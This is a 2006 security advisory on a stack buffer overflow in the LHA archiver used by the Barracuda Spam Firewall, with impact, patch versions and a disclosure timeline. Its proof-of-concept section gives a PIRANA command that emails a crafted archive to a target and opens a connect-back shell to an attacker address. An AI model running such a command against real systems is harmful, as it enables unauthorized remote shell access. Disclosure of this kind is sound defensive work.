Topic: Barracuda LHA archiver security bug leads to
remote compromise
Announced: 2006-04-03
Product: Barracuda Spam Firewall
Vendor: http://www.barracudanetworks.com/
Impact: Remote shell access
Affected product: Barracuda with firmware < 3.3.03.022 AND
spamdef < 3.0.10045
Credits: Jean-Sébastien Guay-Leroux
CVE ID: CVE-2004-0234
I. BACKGROUND
The Barracuda Spam Firewall is an integrated hardware and software solution for
complete protection of your email server. It provides a powerful, easy to use,
and affordable solution to eliminating spam and virus from your organization by
providing the following protection:
* Anti-spam
* Anti-virus
* Anti-spoofing
* Anti-phishing
* Anti-spyware (Attachments)
* Denial of Service
II. DESCRIPTION
When building a special LHA archive with long filenames in it, it is possible to
overflow a buffer on the stack used by the program and seize control of the
program.
Since this component is used when scanning an incoming email, remote compromise
is possible by sending a simple email with the specially crafted LHA archive
attached to the Barracuda Spam Firewall.
You do NOT need to have remote administration access (on port 8000) for
successfull exploitation.
For further informations about the details of the bugs, you can consult OSVDB
#5753 and #5754 .
III. IMPACT
Gain shell access to the remote Barracuda Spam Firewall
IV. PROOF OF CONCEPT
Using the PIRANA framework, available at http://www.guay-leroux.com , it is
possible to test the Barracuda Spam Firewall against the LHA vulnerability.
By calling PIRANA the way it is described below, you will get a TCP connect back
shell on IP address 1.2.3.4 and port 1234:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \
-p 1234 -z -c 1 -d 1
V. SOLUTION
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.10045,
available March 24th 2006.
They also published an official patch in firmware #3.3.03.022, available April
3rd 2006.
It is recommended to update to firmware #3.3.03.022 .
VI. CREDITS
Ulf Harnhammar who found the original LHA flaw.
Jean-Sébastien Guay-Leroux who conducted further research on the bug
and produced exploitation plugin for the PIRANA framework.
VII. REFERENCES
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234
VIII. HISTORY
2006-03-02 : Disclosure of vulnerability to Barracuda Networks
2006-03-02 : Acknowledgement of the problem
2006-03-24 : Problem fixed
2006-04-03 : Advisory disclosed to public
